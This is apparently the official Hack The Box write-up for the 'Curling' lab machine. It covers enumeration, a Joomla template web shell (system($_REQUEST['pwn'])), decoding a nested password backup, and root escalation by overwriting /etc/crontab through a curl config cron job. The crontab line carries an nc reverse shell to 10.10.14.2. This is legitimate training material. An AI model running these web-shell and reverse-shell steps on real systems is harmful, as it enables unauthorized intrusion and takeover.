160-Curling_HTB_Official_writeup_Tamarisk
160-Curling_HTB_Official_writeup_Tamarisk
Page 1 / 10
SYNOPSIS
Curling is an Easy difficulty Linux box which requires a fair amount of enumeration. The password
is saved in a file on the web root. The username can be download through a post on the CMS
which allows a login. Modifying the php template gives a shell. Finding a hex dump and reversing
it gives a user shell. On enumerating running processes a cron is discovered which can be
exploited for root.
Page 2 / 10
ENUMERATION
NMAP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.150 | grep ^[0-9] | cut -d
'/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.150 --open
APACHE
Page 3 / 10
The page contains two usernames “Super user” and Floris.
Checking the HTML source of the page reveals a comment saying secret.txt .
Going to the admin page at http://10.10.10.150/administrator/ and trying to login with the
username Floris and password Curling2018! logs us in.
Page 4 / 10
FOOTHOLD
On the right side under Configuration click on Templates > Templates > Protostar.
Now click on a php file like index.php and add command execution.
system($_REQUEST['pwn']);
Page 5 / 10
Click on save and navigate to /index.php to issue commands.
Page 6 / 10
LATERAL MOVEMENT
HEX DUMP
The file looks like a hex dump done using xxd which can be reversed.
cd /tmp
cp /home/floris/password_backup .
cat password_backup | xxd -r > bak
file bak
Page 7 / 10
The resulting file is bzip2 compressed.
The file appears to be repeatedly archived. The steps to decompress it are,
bzip2 -d bak
file bak.out
mv bak.out bak.gz
gzip -d bak.gz
file bak
bzip2 -d bak
file bak.out
tar xf bak.out
cat password.txt
The file found was password.txt which is the password for floris. We can now SSH in as floris with
the discovered password.
Page 8 / 10
PRIVILEGE ESCALATION
ENUMERATION
We enumerate the running crons using pspy. Download the smaller binary and transfer it the box.
wget
https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy64s
According to curl manpage, the -K option is used to specify a config file. The cron uses input as
the config and outputs to report.
The input file is owned by our group, so we can write our own config. From the manpage we
know that the “output” parameter can be used to specify the output file. We can create a
malicious crontab and overwrite it on the box.`
Page 9 / 10
MANIPULATING THE CONFIG
First create a malicious crontab locally and start a simple http server.
cp /etc/crontab .
echo '* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i
2>&1|nc 10.10.14.2 1234 >/tmp/f ' >> crontab
python3 -m http.server 80
url = "http://10.10.14.2/crontab"
output = "/etc/crontab"
Page 10 / 10